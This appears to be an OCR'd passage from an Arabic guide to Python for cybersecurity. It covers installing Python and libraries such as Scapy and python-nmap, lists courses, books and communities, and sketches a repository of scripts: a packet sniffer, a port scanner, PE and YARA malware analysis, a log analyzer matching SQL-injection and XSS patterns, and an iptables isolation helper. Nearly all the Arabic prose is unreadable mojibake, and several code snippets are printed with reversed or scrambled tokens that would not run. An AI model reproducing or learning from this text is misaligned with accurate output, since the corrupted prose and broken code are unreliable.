‘Ping Juyl lyuy copfw 1o

0s import

"1.1.168.192" = target_ip
("{target_ip} "pingfsystem(.o0s
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tQ il
Python plei dlhuw Glinil dhd; coudl 13a Jag)

Opoinoll duwjloodl .

Hack The Box Jio Glaio padiwl .Python glai]l alido (na dahiioll duwjlooll
.ciljlao Guhi) TryHackMeg

goinall gl plaAill .

dsyliog uAll Olpd go 8alaiwll) (ulpul golllg Python cileaine go Jelas
.Olaniuwoll

8)_][.[11,0“ cly .

.Gllaw Jlao gl é5ub gaald Jio &xéuén gylive cliy JUA (o aialsi b @b

sy a<ub (aalad cliy (Jbio

nmMap import

PortScanner().nmap = scanner

('443-22','1.1.168.192"'scan(.scanner

all_hosts():.scanner in host for

("{keys().['tcp'scanner[host][} :{host} on ports "Openf)print

sQ il

Python (né clillao Gulnil lac legpito Jlall 138 pad, -
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JUlpl ol (18 ¢ggih 2o clilny :anlAll

daalgal &igpog 898 (10 04dgs o) «ulmuul golll (aidal laic (e U 8lal Python ass
138 (né 6ylg)l Qilnillg (@lifallg galaoll o dalaiwll JUA o9 .gradyl pasgll Ghaas
.Joall 138 (14 juaill dojlll Glaoll cliyg Python go clilyy ea) clifoy «owudll
JSul &gy Jy daop &) a0 cuwy Python gl 535 ghillg pleill (1a djlpaiwl gog
9k gl «lyaall Jlas gl wolaodl cuoigi cuif clgw .g1oddl pllell (1é dlaallg &iaillg
Al olyaaill éaalgo (16 Jleall clallw Python (néuiw &nanio olgal



A Llo))

auulw Dl Gwifollg Python cuuds A: §aloll

Python &) cuis (1a gl 6gladll Jiow «guluudl goll Jlwo (1é Python pladiwl cay
Galall 138 pad) .ol Julaig « plaall dioslg «wlgalll el ¢po clifos (il duwlwll wuifollg
clujal gloA) daliaa)l Jasuiwl dakail gile duusgl Glifallg Python cuit) Lado La

Python pladiwl ¢l goll 2o clilny (16 Gl

Python . “.-'..-
uile Python cuii) &JWI wlghAll @il .Linuxg macOS g Windows aahil) Python a2 yaqis

Windows polA; .|

:Python Juoas (1)
https://www.python.org/downloads/ : (srowwpl gégall §)bj *
.Windows pUAil Python (30 jlan] ¢&aal Jeans -

rCiil aobp Jaiis (©)
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Yo

il dlo gile agapall il -
PATH. to Python Add juA (h=aj -
Now. Install e jail
il go §aadI ()
.Command Prompt olgll aago pié -
Ul poll &us -
python --version

Cudall jlanll pd) @y gl ey -
macOS oA .M

:Python Jwoas (1)
https://www.python.org/downloads/ :(rowpl gégall §)bj *

.macOS jlan| Jroai -
sCdil aolp sl (o)

..pkg alo qid -

-Gl Ologles elsl -

: . .“.'...Il GD o ee .." (a)

python3 --version

Linux oA .V

.&aal jlan] eyl gling a6 g% oo Gio Python g Lo Wi

s pjall &aild Cuans (1)

sudo apt update



YoV

:Python cuwis (0)

sudo apt install python3

: . .“.*-..Il GD o .." (a)

python3 --version

dAJJJLLUle C’l‘“s : ll . “..'...

.pip Pl pao PRI YLl uDJ.U doaoll olifall cuii clifoy Python cuds A

Scapy .|
-ASpidl pja Julaig dalleo) 4,948 &uiko

pip install scapy

from scapy.all import

print("Scapy installed successfully!")

python-nmap .I

.Nmap 6lal) Python aaalg

pip install python-nmap

import nmap

print ("python-nmap installed successfully!")

PyCryptodome .



YoA

pip install pycryptodome

from Crypto.Cipher import AES
print ("PyCryptodome installed successfully!")

Requests .€
HTTP ol Juyl &iko

pip install requests

import requests

print ("Requests installed successfully!")

BeautifulSoup .0
gl ohan o ol pUALwD &iko

pip install beautifulsoup4

from bs4 import BeautifulSoup

print ("BeautifulSoup installed successfully!")

pandas .1
oLl Juai) auiso

pip install pandas

import pandas as pd

print("pandas installed successfully!")
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matplotlib .V

Ly il Jatod) &350

pip install matplotlib

import matplotlib.pyplot as plt
print("matplotlib installed successfully!")

auAlial &iy alacl
A 993 Glalaiell §jlab dwAlEall iyl Jouws

python -m venv myenv

Uil jala :anlAll

clow .&al (uludl goll plle Jgaa) iak cawal duwlwll oliallg Python cuds s
Olyaall daalgo (1a Jleall clallw Python gofiw «@lgall el gi (Juaill gf (&iosl (14

.auodyl
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JUll gollig Python plei) &14lA] jalao B: Galoll

Galloll
lUbiwlg &ajla dwylao s Spaiuwo &lay ga (Ll goll Jlo (1 Python plss )
10 Sldiio daild Galall 138 pAd 639l dlleg ddgigo draulei jalno Ul Jongllg Lnlgio
Wleoinollg AuigpsIPl gélgallg «uisllg iUl pe duyjail ©lhgall Jouis (&ralAa Ul aylgoll
onJIg Python (6 clillao Jdng cligyeo Grosi (e ciaclual (yilol cujaill Glniog

. Ulpl

il pe il Shgal

dadyny (il goll aaldog Python plei dlled dluug cufill pe dw)jail Ghgall A%
& yogall ohgall (o degoao il louwd .dolAio

Python for Cybersecurity .|

Cybrary :aniall -
Python for Cybersecurity Professionals :6)9aJl -

duaig ! ol plao diasl Python pladiwl &aus plei tcangll -
.olgall elug (oLl

Python Programming .I

Coursera :anioll °

Python for Everybody :6)9aJl -
.Python daop Ouwlwl u'lbs_; wiaiwol) Aunlio 6j9a (dngll -

Ethical Hacking with Python .P



i

Udemy :anioll *
Learn Ethical Hacking with Python :6)9aJl -
llialg aUADI Ghall (i Python pladiwl gile j5 5 dyloe 8j9a tcdangll -
.GlpAll

Advanced Python for Cybersecurity .€

Pluralsight :anioll -
Advanced Python for Cybersecurity :6)9aJl -
Jio gl goll (1a doadioll Python wloladiwl (1é Go=i :cangll -

.Oluaadl GhbAiwlg diuAll Glaopl Juas
Vel |

jpl oo .yl gollg Python yuUlao (né doud @alo JXiivg ddoso dapeo sl 1ags
|y yuogall sl

Black Hat Python .I

Justin Seitz :dJgoll
(ponIg Gliall ollialg ghiall (na Python pladiwl (ioe Jua iwangll -
Ul

Violent Python .I

TJ O'Connor :aJgall -

ollialg gulial Juailg gl (ol (1 Python pladiwl (ale j$p tcangll
.GlpAall
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Python for Cybersecurity .F
UrJgo degono algall -
-guilpl ol ©lgal clbg (Juailg (diosll (14 Python cldulns gidly :cangll -

Automate the Boring Stuff with Python .E
Al Sweigart :caJgoll *
ahypo olao @ Loy Python pladiwl plaall diosl ple) huuo QLS :wngll -
-l ol
Glgaallg galgoll

.Ul golllg Python Jga épaiwo ¢iliyanig wlléog Glagnh ¢ligaally gélgall pads
@jpl oo

Real Python .|
.Python &aop (16 d&nniio wlgag wlldog Jug)a iwangll -
Python Security .I
Python (ol déleio yylgog wigal p, GitHub gagiuw :cangll -
OWASP Python Security .P
.Python plaAiwl dioll daopl Glwjlooll JAdlg Glaly) (cangll -
Krebs on Security .€

.Olwjlaoll Jaalg olaaailg guluudl goll JLAl (14 &nniio digao wangl
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OL-’. e : "9 le : :..:. : ”
AU Ol o 6alaiwllg dliw 1] a;bg OlpAall Jals QL Qaudil Oleoiaall Ul ploaill
Reddit .|

[io Gueyd Cleaiao -
r/learnpython -
r/netsec -

r/cybersecurity -
Stack Overflow .I
-l golll uaniiog guaopell d)galg dliwi dnio :wangl -
GitHub Discussions .P
.GitHub Gleagiuwo Jala quddl olblail ¢1ia 45)uoll :cangll +
Slackg Discord .€

.l gollg Python (16 dnniio &g &ibya Glegaao tcangll -

yoll cuyjail olaio
:auiollg dnopll cliljlao Guihi ddoe Gbani Glnaicll 03a jagi
Hack The Box .|
Aol Glall aluidlg Gliall allao jwidl dnio :wngll -

TryHackMe .I
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Python ¢ujlai go gl ol (né lelas cuyyai :cngll
LeetCode .

Python (né clijl@o gl &aop Ghans (angll
CTFtime .€

Python pladiwl daopl (ile Wé aaiei (il CTF olélual &nio éngll *

YouTube ©lgid
: Ul polllg Python olsil Wilao Wio (1gino YouTube ¢lgid yags
Corey Schafer .|
John Hammond .M
NetworkChuck .»

Null Byte .€

auouleill clilny :anlAll

Ul ollg Python plei) 496 drdy20 éacld cllios ciunl &ralaUl 3jlgoll 0ia go
ola (=oiaoll Jelail gi o)l olaiall gf i)l gl duyjail Ghgall clia clgw . Gosy
Jaoll 138 (1é joil) dojlll ohaall ey (ile acluwiw jalaoll oia

038 o 2diwlg (o)l Guhil yile gl WgAd oS .Spoiwo dloe pleil lasly JKa5
Aol pioll (uludl ol plle (14 §jlandl (1a cldl) yylgoll
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draopl lauill dliol gagiwo C: Galall

&Galloli
leagiuo @aloll 13 pAdy Ul goll Jao (1 Python pladiwl cayl gile cliacluio)
ythsi . plaauwll) éaly oliSwg ddoe aliol (le J19iy drxopll UIJ.QJ.IJJ." aliol) Lu:.u.h.:
ulm.o}dl duaig olsuill Juas oo I.CJJ Ul ooll plao o ls_wlg llnj alioll oAa
|3J9.D Q9sy gagiuall 138 puoni o5 abg .Olyail GlhuAiwlg aioill gl JJg.ng GQiwAll

Spbluoll ayaillg aleill Gac

Olauill gagino gile dole oA

&0 Python clipSw (le pud JS (nging @anlg pludl gu] olauill gagiuo aAi o
:gagimnll J5ia yile dole éPai (b lapd 83330 dyiol plaay dnlh Glagpb

repo/-cybersecurity-python

network_analysis/
packet_sniffer.py
port_scanner.py

network_monitor.py

malware_analysis/
pefile_analysis.py
yara_rule_scanner.py

sandbox_analysis.py

automation/
log_analyzer.py

incident_response.py



m

vulnerability_scanner.py

threat_intelligence/
threat_feed parser.py
osint_gathering.py

loc_extractor.py

README.md

apill go wlauill dliol
‘laio JS dauhg apb 2o gagioll (16 639290l & dgoil OlipSudl (o degono iy Logd
Ol Julas
a<uill pjx bhlail
packet_sniffer.py :caloll
-giiudnll ol (né lablaig dSuill pja blady pgd, :angll
6l

sniff import scapy.all from

(packet):packet_callback def
:("IP"haslayer(.packet if
("{dst.['IP'packet[} IP: Destination ,{src.['IP'packet[} IP: "Sourcef)print

(sniffer..." packet "Starting)print
(10=count ,packet_callback=sniff(prn

:epi:.ll
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IP glgic yApe go &Suill pja Juaig bladl Scapy &isfo cuypfudl padiuy *
. Jaéiiallg Juypall

Adliall (paa
port_scanner.py :aloll
.dagidall Aaliol Wliusl Wso IP glgic (Aad) :ngll

6l
nmap import

PortScanner().nmap = scanner
"1.1.168.192" = target_ip

('443-22" ,scan(target_ip.scanner

all_hosts():.scanner in host for

("{keys().['tcp'scanner[host][} :{host} on ports "Openf)print
rQ il

o0 GUail (o dagiaol Adlioll ganal python-nmap &uiso (ile CuypSull aoisy *
443 Ul 22

QA Gbaopdl Juas .

PE Glalo Julni

pefile_analysis.py :caloll
.QiuA Obaop e Jai ab olpbdo alAiwl Portable Executable wlalo Jlay 1cangll

:6pauill
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pefile import

('malware.exe'PE(.pefile = pe
("{AddressOfentryPoint).OPTIONAL_HEADER.(pehex} Point: "Entryf)print
DIRECTORY_ENTRY_IMPORT:.pe in entry for

("{decode().dll.entry} DLL: "Importedf)print

:e}ﬁdl

Joda)l dhdi Jio damo wlogleo Aliwl pefile dufo cuySull padiuy -
.63)giuall Glisallg

YARA aclgd (paa

yara_rule_scanner.py :caloll
L&kl obaopl e sl YARA aclgéd pladiwl olalodl (pad) (cangll
6l
yara import
"= ryle
} ExampleRule rule
strings:
"malware" = Sstrl
condition:
Sstrl
{

nnn

rule)=compile(source.yara = rules



nq

('malware.exe'match(.rules = matches
matches: in match for

("{match} found: "Matchf)print

sl
JAl &iwAd obaop Ul pis bloil ge dall dlhu YARA 8aeld copfull @y -
.Clalall
awasll W
Olanl Julas

log_analyzer.py :alall
.aloino pgad wlglhho WSy alauwll olalo Jly (ngll

:6panill

re import

(log_file):analyze_logs def
f: as ('r' ,(log_Ffileopen with
readlines().f = logs
logs: in log for
IGNORECASE):.re ,log ,'injection|XSS 404|500|SQL'rsearch(.re if
("{strip().log} detected: attack "Potentialf)print

(‘access.log'analyze_logs(
sl

.XSSg SQL Injection Jio Glaaa) Gipugo e Glawll (1a cySuwll diay -



Galgall &kl

incident_response.py :caloll
22287 @lis| aie Gliwll ddoe cnidy (angll

:6pauill

0s import

(malicious_ip):isolate_system def
("{malicious_ip} IP: with system "Isolatingf)print
('DROP j- {malicious_ip} s- INPUT A- iptables'fsystem(.os

(analysis..." further Initiating isolated. "System)print

('100.1.168.192"'isolate_system(
sQ il
.Galal &liwll (o cjas iptables plaAiwl EwA IP glgic pAany cuySull pgdy -
Olyaall oluaiwl L€

Glyaaill jakno Jlao

threat_feed_parser.py :caloll
.QlEall Glpbdo AhAiwl olyaraill ohbdiwl jalao sy (dngll

6l
requests import

(feed"-"https://example.com/threatget(.requests = response

:200 == status_code.response if
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